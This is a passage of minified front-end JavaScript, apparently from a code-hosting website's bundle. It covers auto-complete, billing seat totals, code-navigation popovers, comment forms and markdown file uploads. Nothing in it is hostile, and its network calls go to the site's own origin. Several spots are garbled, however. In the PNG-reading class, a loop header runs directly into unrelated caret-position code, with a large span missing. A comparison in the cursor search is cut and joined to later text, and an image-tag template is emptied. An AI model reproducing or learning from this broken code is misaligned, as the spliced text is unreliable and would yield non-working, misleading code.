w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return 